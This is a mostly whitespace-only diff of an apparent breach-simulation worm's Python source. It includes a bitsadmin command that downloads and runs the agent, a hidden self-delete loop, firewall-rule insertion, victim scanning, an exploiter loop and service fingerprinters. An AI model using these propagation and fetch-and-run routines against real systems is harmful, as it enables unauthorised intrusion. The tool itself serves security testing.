|
||||||
sort_keys=True,
|
sort_keys=True,
|
||||||
indent=4,
|
indent=4,
|
||||||
separators=(",", ": "),
|
separators=(",", ": "),
|
||||||
)
|
)
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
|
@ -27,12 +27,12 @@ MONKEY_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(monkey_path)s %s" % (
|
||||||
MONKEY_ARG,
|
MONKEY_ARG,
|
||||||
)
|
)
|
||||||
MONKEY_CMDLINE_HTTP = (
|
MONKEY_CMDLINE_HTTP = (
|
||||||
'%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s'
|
'%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s'
|
||||||
'&cmd /c %%(monkey_path)s %s"'
|
'&cmd /c %%(monkey_path)s %s"'
|
||||||
% (
|
% (
|
||||||
CMD_PREFIX,
|
CMD_PREFIX,
|
||||||
MONKEY_ARG,
|
MONKEY_ARG,
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
DELAY_DELETE_CMD = (
|
DELAY_DELETE_CMD = (
|
||||||
"cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & "
|
"cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & "
|
||||||
|
|
|
@ -100,8 +100,7 @@ class InfectionMonkey(object):
|
||||||
WormConfiguration.command_servers.insert(0, self._default_server)
|
WormConfiguration.command_servers.insert(0, self._default_server)
|
||||||
else:
|
else:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Default server: %s is already in command servers list" %
|
"Default server: %s is already in command servers list" % self._default_server
|
||||||
self._default_server
|
|
||||||
)
|
)
|
||||||
|
|
||||||
def start(self):
|
def start(self):
|
||||||
|
@ -162,8 +161,8 @@ class InfectionMonkey(object):
|
||||||
break
|
break
|
||||||
|
|
||||||
machines = self._network.get_victim_machines(
|
machines = self._network.get_victim_machines(
|
||||||
max_find=WormConfiguration.victims_max_find,
|
max_find=WormConfiguration.victims_max_find,
|
||||||
stop_callback=ControlClient.check_for_stop,
|
stop_callback=ControlClient.check_for_stop,
|
||||||
)
|
)
|
||||||
is_empty = True
|
is_empty = True
|
||||||
for machine in machines:
|
for machine in machines:
|
||||||
|
@ -173,17 +172,17 @@ class InfectionMonkey(object):
|
||||||
is_empty = False
|
is_empty = False
|
||||||
for finger in self._fingerprint:
|
for finger in self._fingerprint:
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Trying to get OS fingerprint from %r with module %s",
|
"Trying to get OS fingerprint from %r with module %s",
|
||||||
machine,
|
machine,
|
||||||
finger.__class__.__name__,
|
finger.__class__.__name__,
|
||||||
)
|
)
|
||||||
try:
|
try:
|
||||||
finger.get_host_fingerprint(machine)
|
finger.get_host_fingerprint(machine)
|
||||||
except BaseException as exc:
|
except BaseException as exc:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Failed to run fingerprinter %s, exception %s"
|
"Failed to run fingerprinter %s, exception %s"
|
||||||
% finger.__class__.__name__,
|
% finger.__class__.__name__,
|
||||||
str(exc),
|
str(exc),
|
||||||
)
|
)
|
||||||
|
|
||||||
ScanTelem(machine).send()
|
ScanTelem(machine).send()
|
||||||
|
@ -204,23 +203,23 @@ class InfectionMonkey(object):
|
||||||
if self._default_server:
|
if self._default_server:
|
||||||
if self._network.on_island(self._default_server):
|
if self._network.on_island(self._default_server):
|
||||||
machine.set_default_server(
|
machine.set_default_server(
|
||||||
get_interface_to_target(machine.ip_addr)
|
get_interface_to_target(machine.ip_addr)
|
||||||
+ (
|
+ (
|
||||||
":" + self._default_server_port
|
":" + self._default_server_port
|
||||||
if self._default_server_port
|
if self._default_server_port
|
||||||
else ""
|
else ""
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
machine.set_default_server(self._default_server)
|
machine.set_default_server(self._default_server)
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Default server for machine: %r set to %s"
|
"Default server for machine: %r set to %s"
|
||||||
% (machine, machine.default_server)
|
% (machine, machine.default_server)
|
||||||
)
|
)
|
||||||
|
|
||||||
# Order exploits according to their type
|
# Order exploits according to their type
|
||||||
self._exploiters = sorted(
|
self._exploiters = sorted(
|
||||||
self._exploiters, key=lambda exploiter_:exploiter_.EXPLOIT_TYPE.value
|
self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value
|
||||||
)
|
)
|
||||||
host_exploited = False
|
host_exploited = False
|
||||||
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
|
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
|
||||||
|
@ -252,8 +251,7 @@ class InfectionMonkey(object):
|
||||||
if len(self._exploited_machines) > 0:
|
if len(self._exploited_machines) > 0:
|
||||||
time_to_sleep = WormConfiguration.keep_tunnel_open_time
|
time_to_sleep = WormConfiguration.keep_tunnel_open_time
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Sleeping %d seconds for exploited machines to connect to tunnel",
|
"Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep
|
||||||
time_to_sleep
|
|
||||||
)
|
)
|
||||||
time.sleep(time_to_sleep)
|
time.sleep(time_to_sleep)
|
||||||
|
|
||||||
|
@ -265,8 +263,8 @@ class InfectionMonkey(object):
|
||||||
|
|
||||||
except PlannedShutdownException:
|
except PlannedShutdownException:
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"A planned shutdown of the Monkey occurred. Logging the reason and finishing "
|
"A planned shutdown of the Monkey occurred. Logging the reason and finishing "
|
||||||
"execution."
|
"execution."
|
||||||
)
|
)
|
||||||
LOG.exception("Planned shutdown, reason:")
|
LOG.exception("Planned shutdown, reason:")
|
||||||
|
|
||||||
|
@ -311,7 +309,7 @@ class InfectionMonkey(object):
|
||||||
firewall.close()
|
firewall.close()
|
||||||
else:
|
else:
|
||||||
StateTelem(
|
StateTelem(
|
||||||
is_done=True, version=get_version()
|
is_done=True, version=get_version()
|
||||||
).send() # Signal the server (before closing the tunnel)
|
).send() # Signal the server (before closing the tunnel)
|
||||||
InfectionMonkey.close_tunnel()
|
InfectionMonkey.close_tunnel()
|
||||||
firewall.close()
|
firewall.close()
|
||||||
|
@ -346,12 +344,12 @@ class InfectionMonkey(object):
|
||||||
startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
|
startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
|
||||||
startupinfo.wShowWindow = SW_HIDE
|
startupinfo.wShowWindow = SW_HIDE
|
||||||
subprocess.Popen(
|
subprocess.Popen(
|
||||||
DELAY_DELETE_CMD % {"file_path":sys.executable},
|
DELAY_DELETE_CMD % {"file_path": sys.executable},
|
||||||
stdin=None,
|
stdin=None,
|
||||||
stdout=None,
|
stdout=None,
|
||||||
stderr=None,
|
stderr=None,
|
||||||
close_fds=True,
|
close_fds=True,
|
||||||
startupinfo=startupinfo,
|
startupinfo=startupinfo,
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
os.remove(sys.executable)
|
os.remove(sys.executable)
|
||||||
|
@ -381,10 +379,10 @@ class InfectionMonkey(object):
|
||||||
"""
|
"""
|
||||||
if not exploiter.is_os_supported():
|
if not exploiter.is_os_supported():
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Skipping exploiter %s host:%r, os %s is not supported",
|
"Skipping exploiter %s host:%r, os %s is not supported",
|
||||||
exploiter.__class__.__name__,
|
exploiter.__class__.__name__,
|
||||||
machine,
|
machine,
|
||||||
machine.os,
|
machine.os,
|
||||||
)
|
)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -398,31 +396,30 @@ class InfectionMonkey(object):
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Failed exploiting %r with exploiter %s", machine,
|
"Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__
|
||||||
exploiter.__class__.__name__
|
|
||||||
)
|
)
|
||||||
except ExploitingVulnerableMachineError as exc:
|
except ExploitingVulnerableMachineError as exc:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Exception while attacking %s using %s: %s",
|
"Exception while attacking %s using %s: %s",
|
||||||
machine,
|
machine,
|
||||||
exploiter.__class__.__name__,
|
exploiter.__class__.__name__,
|
||||||
exc,
|
exc,
|
||||||
)
|
)
|
||||||
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
|
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
|
||||||
return True
|
return True
|
||||||
except FailedExploitationError as e:
|
except FailedExploitationError as e:
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Failed exploiting %r with exploiter %s, %s",
|
"Failed exploiting %r with exploiter %s, %s",
|
||||||
machine,
|
machine,
|
||||||
exploiter.__class__.__name__,
|
exploiter.__class__.__name__,
|
||||||
e,
|
e,
|
||||||
)
|
)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.exception(
|
LOG.exception(
|
||||||
"Exception while attacking %s using %s: %s",
|
"Exception while attacking %s using %s: %s",
|
||||||
machine,
|
machine,
|
||||||
exploiter.__class__.__name__,
|
exploiter.__class__.__name__,
|
||||||
exc,
|
exc,
|
||||||
)
|
)
|
||||||
finally:
|
finally:
|
||||||
exploiter.send_exploit_telemetry(result)
|
exploiter.send_exploit_telemetry(result)
|
||||||
|
@ -458,8 +455,7 @@ class InfectionMonkey(object):
|
||||||
"""
|
"""
|
||||||
if not ControlClient.find_server(default_tunnel=self._default_tunnel):
|
if not ControlClient.find_server(default_tunnel=self._default_tunnel):
|
||||||
raise PlannedShutdownException(
|
raise PlannedShutdownException(
|
||||||
"Monkey couldn't find server with {} default tunnel.".format(
|
"Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel)
|
||||||
self._default_tunnel)
|
|
||||||
)
|
)
|
||||||
self._default_server = WormConfiguration.current_server
|
self._default_server = WormConfiguration.current_server
|
||||||
LOG.debug("default server set to: %s" % self._default_server)
|
LOG.debug("default server set to: %s" % self._default_server)
|
||||||
|
|
|
@ -5,12 +5,12 @@ import sys
|
||||||
|
|
||||||
def _run_netsh_cmd(command, args):
|
def _run_netsh_cmd(command, args):
|
||||||
cmd = subprocess.Popen(
|
cmd = subprocess.Popen(
|
||||||
"netsh %s %s"
|
"netsh %s %s"
|
||||||
% (
|
% (
|
||||||
command,
|
command,
|
||||||
" ".join(['%s="%s"' % (key, value) for key, value in list(args.items()) if value]),
|
" ".join(['%s="%s"' % (key, value) for key, value in list(args.items()) if value]),
|
||||||
),
|
),
|
||||||
stdout=subprocess.PIPE,
|
stdout=subprocess.PIPE,
|
||||||
)
|
)
|
||||||
return cmd.stdout.read().strip().lower().endswith("ok.")
|
return cmd.stdout.read().strip().lower().endswith("ok.")
|
||||||
|
|
||||||
|
@ -56,9 +56,9 @@ class WinAdvFirewall(FirewallApp):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def add_firewall_rule(
|
def add_firewall_rule(
|
||||||
self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs
|
self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs
|
||||||
):
|
):
|
||||||
netsh_args = {"name":name, "dir":direction, "action":action, "program":program}
|
netsh_args = {"name": name, "dir": direction, "action": action, "program": program}
|
||||||
netsh_args.update(kwargs)
|
netsh_args.update(kwargs)
|
||||||
try:
|
try:
|
||||||
if _run_netsh_cmd("advfirewall firewall add rule", netsh_args):
|
if _run_netsh_cmd("advfirewall firewall add rule", netsh_args):
|
||||||
|
@ -70,7 +70,7 @@ class WinAdvFirewall(FirewallApp):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def remove_firewall_rule(self, name="Firewall", **kwargs):
|
def remove_firewall_rule(self, name="Firewall", **kwargs):
|
||||||
netsh_args = {"name":name}
|
netsh_args = {"name": name}
|
||||||
netsh_args.update(kwargs)
|
netsh_args.update(kwargs)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -89,10 +89,10 @@ class WinAdvFirewall(FirewallApp):
|
||||||
|
|
||||||
for rule in list(self._rules.values()):
|
for rule in list(self._rules.values()):
|
||||||
if (
|
if (
|
||||||
rule.get("program") == sys.executable
|
rule.get("program") == sys.executable
|
||||||
and "in" == rule.get("dir")
|
and "in" == rule.get("dir")
|
||||||
and "allow" == rule.get("action")
|
and "allow" == rule.get("action")
|
||||||
and 4 == len(list(rule.keys()))
|
and 4 == len(list(rule.keys()))
|
||||||
):
|
):
|
||||||
return True
|
return True
|
||||||
return False
|
return False
|
||||||
|
@ -125,14 +125,14 @@ class WinFirewall(FirewallApp):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def add_firewall_rule(
|
def add_firewall_rule(
|
||||||
self,
|
self,
|
||||||
rule="allowedprogram",
|
rule="allowedprogram",
|
||||||
name="Firewall",
|
name="Firewall",
|
||||||
mode="ENABLE",
|
mode="ENABLE",
|
||||||
program=sys.executable,
|
program=sys.executable,
|
||||||
**kwargs,
|
**kwargs,
|
||||||
):
|
):
|
||||||
netsh_args = {"name":name, "mode":mode, "program":program}
|
netsh_args = {"name": name, "mode": mode, "program": program}
|
||||||
netsh_args.update(kwargs)
|
netsh_args.update(kwargs)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -146,14 +146,14 @@ class WinFirewall(FirewallApp):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def remove_firewall_rule(
|
def remove_firewall_rule(
|
||||||
self,
|
self,
|
||||||
rule="allowedprogram",
|
rule="allowedprogram",
|
||||||
name="Firewall",
|
name="Firewall",
|
||||||
mode="ENABLE",
|
mode="ENABLE",
|
||||||
program=sys.executable,
|
program=sys.executable,
|
||||||
**kwargs,
|
**kwargs,
|
||||||
):
|
):
|
||||||
netsh_args = {"program":program}
|
netsh_args = {"program": program}
|
||||||
netsh_args.update(kwargs)
|
netsh_args.update(kwargs)
|
||||||
try:
|
try:
|
||||||
if _run_netsh_cmd("firewall delete %s" % rule, netsh_args):
|
if _run_netsh_cmd("firewall delete %s" % rule, netsh_args):
|
||||||
|
|
|
@ -52,7 +52,6 @@ if is_windows_os():
|
||||||
local_hostname = socket.gethostname()
|
local_hostname = socket.gethostname()
|
||||||
return socket.gethostbyname_ex(local_hostname)[2]
|
return socket.gethostbyname_ex(local_hostname)[2]
|
||||||
|
|
||||||
|
|
||||||
def get_routes():
|
def get_routes():
|
||||||
raise NotImplementedError()
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
@ -60,12 +59,10 @@ if is_windows_os():
|
||||||
else:
|
else:
|
||||||
from fcntl import ioctl
|
from fcntl import ioctl
|
||||||
|
|
||||||
|
|
||||||
def local_ips():
|
def local_ips():
|
||||||
valid_ips = [network["addr"] for network in get_host_subnets()]
|
valid_ips = [network["addr"] for network in get_host_subnets()]
|
||||||
return valid_ips
|
return valid_ips
|
||||||
|
|
||||||
|
|
||||||
def get_routes(): # based on scapy implementation for route parsing
|
def get_routes(): # based on scapy implementation for route parsing
|
||||||
try:
|
try:
|
||||||
f = open("/proc/net/route", "r")
|
f = open("/proc/net/route", "r")
|
||||||
|
@ -101,13 +98,13 @@ else:
|
||||||
else:
|
else:
|
||||||
continue
|
continue
|
||||||
routes.append(
|
routes.append(
|
||||||
(
|
(
|
||||||
socket.htonl(int(dst, 16)) & 0xFFFFFFFF,
|
socket.htonl(int(dst, 16)) & 0xFFFFFFFF,
|
||||||
socket.htonl(int(msk, 16)) & 0xFFFFFFFF,
|
socket.htonl(int(msk, 16)) & 0xFFFFFFFF,
|
||||||
socket.inet_ntoa(struct.pack("I", int(gw, 16))),
|
socket.inet_ntoa(struct.pack("I", int(gw, 16))),
|
||||||
iff,
|
iff,
|
||||||
ifaddr,
|
ifaddr,
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
f.close()
|
f.close()
|
||||||
|
|
|
@ -49,28 +49,28 @@ class MSSQLFinger(HostFinger):
|
||||||
data, server = sock.recvfrom(self.BUFFER_SIZE)
|
data, server = sock.recvfrom(self.BUFFER_SIZE)
|
||||||
except socket.timeout:
|
except socket.timeout:
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Socket timeout reached, maybe browser service on host: {0} doesnt "
|
"Socket timeout reached, maybe browser service on host: {0} doesnt "
|
||||||
"exist".format(host)
|
"exist".format(host)
|
||||||
)
|
)
|
||||||
sock.close()
|
sock.close()
|
||||||
return False
|
return False
|
||||||
except socket.error as e:
|
except socket.error as e:
|
||||||
if e.errno == errno.ECONNRESET:
|
if e.errno == errno.ECONNRESET:
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Connection was forcibly closed by the remote host. The host: {0} is "
|
"Connection was forcibly closed by the remote host. The host: {0} is "
|
||||||
"rejecting the packet.".format(host)
|
"rejecting the packet.".format(host)
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"An unknown socket error occurred while trying the mssql fingerprint, "
|
"An unknown socket error occurred while trying the mssql fingerprint, "
|
||||||
"closing socket.",
|
"closing socket.",
|
||||||
exc_info=True,
|
exc_info=True,
|
||||||
)
|
)
|
||||||
sock.close()
|
sock.close()
|
||||||
return False
|
return False
|
||||||
|
|
||||||
self.init_service(
|
self.init_service(
|
||||||
host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT
|
host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT
|
||||||
)
|
)
|
||||||
|
|
||||||
# Loop through the server data
|
# Loop through the server data
|
||||||
|
|
|
@ -49,7 +49,7 @@ class MySQLFinger(HostFinger):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
version, curpos = struct_unpack_tracker_string(
|
version, curpos = struct_unpack_tracker_string(
|
||||||
data, curpos
|
data, curpos
|
||||||
) # special coded to solve string parsing
|
) # special coded to solve string parsing
|
||||||
version = version[0].decode()
|
version = version[0].decode()
|
||||||
self.init_service(host.services, SQL_SERVICE, MYSQL_PORT)
|
self.init_service(host.services, SQL_SERVICE, MYSQL_PORT)
|
||||||
|
|
|
@ -54,7 +54,7 @@ class NetworkScanner(object):
|
||||||
if len(WormConfiguration.inaccessible_subnets) > 1:
|
if len(WormConfiguration.inaccessible_subnets) > 1:
|
||||||
for subnet_str in WormConfiguration.inaccessible_subnets:
|
for subnet_str in WormConfiguration.inaccessible_subnets:
|
||||||
if NetworkScanner._is_any_ip_in_subnet(
|
if NetworkScanner._is_any_ip_in_subnet(
|
||||||
[str(x) for x in self._ip_addresses], subnet_str
|
[str(x) for x in self._ip_addresses], subnet_str
|
||||||
):
|
):
|
||||||
# If machine has IPs from 2 different subnets in the same group, there's no
|
# If machine has IPs from 2 different subnets in the same group, there's no
|
||||||
# point checking the other
|
# point checking the other
|
||||||
|
@ -63,7 +63,7 @@ class NetworkScanner(object):
|
||||||
if other_subnet_str == subnet_str:
|
if other_subnet_str == subnet_str:
|
||||||
continue
|
continue
|
||||||
if not NetworkScanner._is_any_ip_in_subnet(
|
if not NetworkScanner._is_any_ip_in_subnet(
|
||||||
[str(x) for x in self._ip_addresses], other_subnet_str
|
[str(x) for x in self._ip_addresses], other_subnet_str
|
||||||
):
|
):
|
||||||
subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str))
|
subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str))
|
||||||
break
|
break
|
||||||
|
@ -86,7 +86,7 @@ class NetworkScanner(object):
|
||||||
# But again, balance
|
# But again, balance
|
||||||
pool = Pool(ITERATION_BLOCK_SIZE)
|
pool = Pool(ITERATION_BLOCK_SIZE)
|
||||||
victim_generator = VictimHostGenerator(
|
victim_generator = VictimHostGenerator(
|
||||||
self._ranges, WormConfiguration.blocked_ips, local_ips()
|
self._ranges, WormConfiguration.blocked_ips, local_ips()
|
||||||
)
|
)
|
||||||
|
|
||||||
victims_count = 0
|
victims_count = 0
|
||||||
|
|
|
@ -34,9 +34,9 @@ class PingScanner(HostScanner, HostFinger):
|
||||||
timeout /= 1000
|
timeout /= 1000
|
||||||
|
|
||||||
return 0 == subprocess.call(
|
return 0 == subprocess.call(
|
||||||
["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
|
["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
|
||||||
stdout=self._devnull,
|
stdout=self._devnull,
|
||||||
stderr=self._devnull,
|
stderr=self._devnull,
|
||||||
)
|
)
|
||||||
|
|
||||||
def get_host_fingerprint(self, host):
|
def get_host_fingerprint(self, host):
|
||||||
|
@ -46,10 +46,10 @@ class PingScanner(HostScanner, HostFinger):
|
||||||
timeout /= 1000
|
timeout /= 1000
|
||||||
|
|
||||||
sub_proc = subprocess.Popen(
|
sub_proc = subprocess.Popen(
|
||||||
["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
|
["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
|
||||||
stdout=subprocess.PIPE,
|
stdout=subprocess.PIPE,
|
||||||
stderr=subprocess.PIPE,
|
stderr=subprocess.PIPE,
|
||||||
text=True,
|
text=True,
|
||||||
)
|
)
|
||||||
|
|
||||||
output = " ".join(sub_proc.communicate())
|
output = " ".join(sub_proc.communicate())
|
||||||
|
|
|
@ -17,32 +17,32 @@ class PostgreSQLFinger(HostFinger):
|
||||||
# Class related consts
|
# Class related consts
|
||||||
_SCANNED_SERVICE = "PostgreSQL"
|
_SCANNED_SERVICE = "PostgreSQL"
|
||||||
POSTGRESQL_DEFAULT_PORT = 5432
|
POSTGRESQL_DEFAULT_PORT = 5432
|
||||||
CREDS = {"username":ID_STRING, "password":ID_STRING}
|
CREDS = {"username": ID_STRING, "password": ID_STRING}
|
||||||
CONNECTION_DETAILS = {
|
CONNECTION_DETAILS = {
|
||||||
"ssl_conf":"SSL is configured on the PostgreSQL server.\n",
|
"ssl_conf": "SSL is configured on the PostgreSQL server.\n",
|
||||||
"ssl_not_conf":"SSL is NOT configured on the PostgreSQL server.\n",
|
"ssl_not_conf": "SSL is NOT configured on the PostgreSQL server.\n",
|
||||||
"all_ssl":"SSL connections can be made by all.\n",
|
"all_ssl": "SSL connections can be made by all.\n",
|
||||||
"all_non_ssl":"Non-SSL connections can be made by all.\n",
|
"all_non_ssl": "Non-SSL connections can be made by all.\n",
|
||||||
"selected_ssl":"SSL connections can be made by selected hosts only OR "
|
"selected_ssl": "SSL connections can be made by selected hosts only OR "
|
||||||
"non-SSL usage is forced.\n",
|
"non-SSL usage is forced.\n",
|
||||||
"selected_non_ssl":"Non-SSL connections can be made by selected hosts only OR "
|
"selected_non_ssl": "Non-SSL connections can be made by selected hosts only OR "
|
||||||
"SSL usage is forced.\n",
|
"SSL usage is forced.\n",
|
||||||
"only_selected":"Only selected hosts can make connections (SSL or non-SSL).\n",
|
"only_selected": "Only selected hosts can make connections (SSL or non-SSL).\n",
|
||||||
}
|
}
|
||||||
RELEVANT_EX_SUBSTRINGS = {
|
RELEVANT_EX_SUBSTRINGS = {
|
||||||
"no_auth":"password authentication failed",
|
"no_auth": "password authentication failed",
|
||||||
"no_entry":"entry for host", # "no pg_hba.conf entry for host" but filename may be diff
|
"no_entry": "entry for host", # "no pg_hba.conf entry for host" but filename may be diff
|
||||||
}
|
}
|
||||||
|
|
||||||
def get_host_fingerprint(self, host):
|
def get_host_fingerprint(self, host):
|
||||||
try:
|
try:
|
||||||
psycopg2.connect(
|
psycopg2.connect(
|
||||||
host=host.ip_addr,
|
host=host.ip_addr,
|
||||||
port=self.POSTGRESQL_DEFAULT_PORT,
|
port=self.POSTGRESQL_DEFAULT_PORT,
|
||||||
user=self.CREDS["username"],
|
user=self.CREDS["username"],
|
||||||
password=self.CREDS["password"],
|
password=self.CREDS["password"],
|
||||||
sslmode="prefer",
|
sslmode="prefer",
|
||||||
connect_timeout=MEDIUM_REQUEST_TIMEOUT,
|
connect_timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||||
) # don't need to worry about DB name; creds are wrong, won't check
|
) # don't need to worry about DB name; creds are wrong, won't check
|
||||||
|
|
||||||
# if it comes here, the creds worked
|
# if it comes here, the creds worked
|
||||||
|
@ -50,9 +50,9 @@ class PostgreSQLFinger(HostFinger):
|
||||||
# perhaps the service is a honeypot
|
# perhaps the service is a honeypot
|
||||||
self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT)
|
self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT)
|
||||||
host.services[self._SCANNED_SERVICE]["communication_encryption_details"] = (
|
host.services[self._SCANNED_SERVICE]["communication_encryption_details"] = (
|
||||||
"The PostgreSQL server was unexpectedly accessible with the credentials - "
|
"The PostgreSQL server was unexpectedly accessible with the credentials - "
|
||||||
+ f"user: '{self.CREDS['username']}' and password: '"
|
+ f"user: '{self.CREDS['username']}' and password: '"
|
||||||
f"{self.CREDS['password']}'. Is this a honeypot?"
|
f"{self.CREDS['password']}'. Is this a honeypot?"
|
||||||
)
|
)
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
@ -94,7 +94,7 @@ class PostgreSQLFinger(HostFinger):
|
||||||
self.get_connection_details_ssl_not_configured(exceptions)
|
self.get_connection_details_ssl_not_configured(exceptions)
|
||||||
|
|
||||||
host.services[self._SCANNED_SERVICE]["communication_encryption_details"] = "".join(
|
host.services[self._SCANNED_SERVICE]["communication_encryption_details"] = "".join(
|
||||||
self.ssl_connection_details
|
self.ssl_connection_details
|
||||||
)
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -122,7 +122,7 @@ class PostgreSQLFinger(HostFinger):
|
||||||
self.ssl_connection_details.append(self.CONNECTION_DETAILS["all_non_ssl"])
|
self.ssl_connection_details.append(self.CONNECTION_DETAILS["all_non_ssl"])
|
||||||
else:
|
else:
|
||||||
if (
|
if (
|
||||||
ssl_selected_comms_only
|
ssl_selected_comms_only
|
||||||
): # if only selected SSL allowed and only selected non-SSL allowed
|
): # if only selected SSL allowed and only selected non-SSL allowed
|
||||||
self.ssl_connection_details[-1] = self.CONNECTION_DETAILS["only_selected"]
|
self.ssl_connection_details[-1] = self.CONNECTION_DETAILS["only_selected"]
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -14,9 +14,9 @@ LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
class Packet:
|
class Packet:
|
||||||
fields = odict(
|
fields = odict(
|
||||||
[
|
[
|
||||||
("data", ""),
|
("data", ""),
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
def __init__(self, **kw):
|
def __init__(self, **kw):
|
||||||
|
@ -38,20 +38,20 @@ class Packet:
|
||||||
# SMB Packets
|
# SMB Packets
|
||||||
class SMBHeader(Packet):
|
class SMBHeader(Packet):
|
||||||
fields = odict(
|
fields = odict(
|
||||||
[
|
[
|
||||||
("proto", b"\xff\x53\x4d\x42"),
|
("proto", b"\xff\x53\x4d\x42"),
|
||||||
("cmd", b"\x72"),
|
("cmd", b"\x72"),
|
||||||
("errorcode", b"\x00\x00\x00\x00"),
|
("errorcode", b"\x00\x00\x00\x00"),
|
||||||
("flag1", b"\x00"),
|
("flag1", b"\x00"),
|
||||||
("flag2", b"\x00\x00"),
|
("flag2", b"\x00\x00"),
|
||||||
("pidhigh", b"\x00\x00"),
|
("pidhigh", b"\x00\x00"),
|
||||||
("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"),
|
("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
("reserved", b"\x00\x00"),
|
("reserved", b"\x00\x00"),
|
||||||
("tid", b"\x00\x00"),
|
("tid", b"\x00\x00"),
|
||||||
("pid", b"\x00\x00"),
|
("pid", b"\x00\x00"),
|
||||||
("uid", b"\x00\x00"),
|
("uid", b"\x00\x00"),
|
||||||
("mid", b"\x00\x00"),
|
("mid", b"\x00\x00"),
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@ -64,63 +64,63 @@ class SMBNego(Packet):
|
||||||
|
|
||||||
class SMBNegoFingerData(Packet):
|
class SMBNegoFingerData(Packet):
|
||||||
fields = odict(
|
fields = odict(
|
||||||
[
|
[
|
||||||
("separator1", b"\x02"),
|
("separator1", b"\x02"),
|
||||||
(
|
(
|
||||||
"dialect1",
|
"dialect1",
|
||||||
b"\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d"
|
b"\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d"
|
||||||
b"\x20\x31\x2e\x30\x00",
|
b"\x20\x31\x2e\x30\x00",
|
||||||
),
|
),
|
||||||
("separator2", b"\x02"),
|
("separator2", b"\x02"),
|
||||||
("dialect2", b"\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
("dialect2", b"\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||||
("separator3", b"\x02"),
|
("separator3", b"\x02"),
|
||||||
(
|
(
|
||||||
"dialect3",
|
"dialect3",
|
||||||
b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72"
|
b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72"
|
||||||
